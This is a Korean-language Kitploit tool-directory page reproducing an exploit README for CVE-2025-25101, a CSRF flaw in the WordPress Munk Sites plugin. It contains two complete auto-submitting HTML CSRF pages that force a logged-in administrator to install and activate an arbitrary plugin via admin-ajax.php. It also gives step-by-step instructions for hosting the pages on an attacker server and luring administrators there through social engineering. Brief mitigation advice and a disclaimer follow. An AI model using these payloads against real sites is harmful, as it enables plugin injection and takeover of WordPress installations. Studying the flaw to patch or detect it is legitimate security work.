Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-25101 — WordPress Munk Sites 플러그인 <= 1.0.7 - CSRF를 통한 임의 플러그인 설치 취약점 | Kitploit
도구/GitHubGitHub/nxploited/cve-2025-25101
Vulnerability AnalysisExploitationWeb Application ExploitationPhishingSocial EngineeringLearning & Education
GitHubnxploited/cve-2025-25101

CVE-2025-25101

WordPress Munk Sites 플러그인 <= 1.0.7 - CSRF를 통한 임의 플러그인 설치 취약점

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🚀 CVE-2025-25101 - WordPress Munk Sites 플러그인 <= 1.0.7 - CSRF를 통한 임의 플러그인 설치

📌 개요

CVE-2025-25101은 WordPress용 MetricThemes Munk Sites 플러그인(버전 ≤ 1.0.7)에서 발견된 교차 사이트 요청 위조(CSRF) 취약점입니다.
이 취약점은 인증되지 않은 공격자가 관리자를 속여 임의의 플러그인을 설치 및 활성화하도록 하여 원격 코드 실행(RCE) 또는 웹사이트 손상으로 이어질 수 있습니다.

🛑 영향받는 버전

  • Munk Sites 플러그인 <= 1.0.7
  • WordPress 플러그인이 활성화된 모든 버전

🛡️ 보안 등급 (CVSS 점수)

점수심각도버전벡터 문자열
9.6🔥 치명적3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

🔥 익스플로잇 설명

🛠️ 취약점 작동 방식:

Munk Sites 플러그인의 CSRF 결함으로 인해 공격자가 로그인된 WordPress 관리자로 하여금 동의 없이 임의의 WordPress 플러그인을 설치 및 활성화하도록 강제할 수 있습니다.
이는 CSRF 토큰 검증이 없는 보호되지 않은 admin-ajax.php 요청을 악용하여 수행됩니다.

📌 익스플로잇 워크플로우:

  1. 공격자가 CSRF 페이로드를 포함한 악성 웹페이지를 제작합니다.
  2. 피해자(WordPress 관리자)가 공격자의 웹페이지를 방문합니다.
  3. 익스플로잇이 WordPress에 요청을 조용히 보내 임의의 플러그인을 설치하고 활성화합니다.
  4. 관리자의 상호작용 없이 플러그인이 설치 및 활성화됩니다.

💻 익스플로잇 코드

1️⃣ CSRF 익스플로잇 - 플러그인 설치

이 페이로드는 피해자로 하여금 hello-world 플러그인을 설치하도록 강제합니다.

root@kitploit:~
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF Exploit - Plugin Installation</title>
    <style>
        body { font-family: Arial, sans-serif; text-align: center; background: #f4f4f4; padding: 20px; }
        h1 { color: #d9534f; } h2 { color: #5bc0de; }
        .output { margin-top: 20px; padding: 10px; background: white; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); }
        .success { color: #5cb85c; font-weight: bold; }
    </style>
</head>
<body onload="document.forms[0].submit()">
    <h1>📌 CVE-2025-25101</h1>
    <h2>CSRF Exploit - Install 'Hello World' Plugin</h2>
    <h3>🚀 Exploit by: <b>Nxploit | Khaled Alenazi</b></h3>
    <div class="output" id="output">🔄 Installing plugin...</div>
    <form action="http://target.com/wp-admin/admin-ajax.php" method="GET">
        <input type="hidden" name="action" value="cs_install_plugin">
        <input type="hidden" name="plugin" value="hello-world">
    </form>
    <script>setTimeout(() => { document.getElementById("output").innerHTML = "<span class='success'>✅ Plugin installed successfully!</span>"; }, 5000);</script>
</body>
</html>

2️⃣ CSRF 익스플로잇 - 플러그인 활성화

이 페이로드는 피해자로 하여금 hello-world 플러그인을 활성화하도록 강제합니다.

root@kitploit:~
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF Exploit - Plugin Activation</title>
    <style>
        body { font-family: Arial, sans-serif; text-align: center; background: #f4f4f4; padding: 20px; }
        h1 { color: #d9534f; } h2 { color: #f0ad4e; }
        .output { margin-top: 20px; padding: 10px; background: white; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); }
        .success { color: #5cb85c; font-weight: bold; }
    </style>
</head>
<body onload="document.forms[0].submit()">
    <h1>📌 CVE-2025-25101</h1>
    <h2>CSRF Exploit - Activate 'Hello World' Plugin</h2>
    <h3>🚀 Exploit by: <b>Nxploit | Khaled Alenazi</b></h3>
    <div class="output" id="output">🔄 Activating plugin...</div>
    <form action="http://target.com/wp-admin/admin-ajax.php" method="GET">
        <input type="hidden" name="action" value="cs_active_plugin">
        <input type="hidden" name="plugin" value="hello-world">
    </form>
    <script>setTimeout(() => { document.getElementById("output").innerHTML = "<span class='success'>✅ Plugin activated successfully!</span>"; }, 5000);</script>
</body>
</html>

🔥 사용 방법

  1. 악성 HTML 파일(install.html 및 activate.html)을 공격자가 제어하는 서버에 호스팅합니다.
  2. 사회 공학 기법을 사용하여 WordPress 관리자가 install.html을 방문하도록 유도합니다.
  3. 플러그인이 설치되면, 그들이 activate.html을 방문하도록 속입니다.
  4. hello-world 플러그인이 관리자 동의 없이 설치 및 활성화됩니다!

🚧 완화 방법

🔒 WordPress 사이트를 보호하는 방법:

  • Munk Sites 플러그인의 최신 버전으로 업그레이드하세요 (패치가 제공되는 경우).
  • Wordfence 또는 Sucuri와 같은 WordPress 보안 플러그인을 사용하여 CSRF 시도를 차단하세요.
  • .htaccess 또는 Nginx 설정의 보안 규칙을 사용하여 admin-ajax.php에 대한 액세스를 제한하세요.
  • 인증되고 승인된 사용자만 플러그인을 설치하거나 활성화할 수 있도록 하세요.
  • wp_nonce_field() 및 check_admin_referer()를 사용하여 CSRF 보호를 구현하세요.

📜 면책 조항

⚠️ 이 익스플로잇은 교육 및 보안 연구 목적으로만 제공됩니다.
⚠️ 명시적 허가 없이 시스템에 무단 사용하는 것은 불법입니다.
⚠️ 저자는 이 코드의 오용에 대해 책임을 지지 않습니다.


⭐ 지원 및 기여

이 연구가 가치 있다고 생각하시면 ⭐ 저장소에 별표를 눌러 주시고 새로운 취약점을 신고하여 기여해 주세요.

제작: Nxploit | Khaled Alenazi

도구 다운로드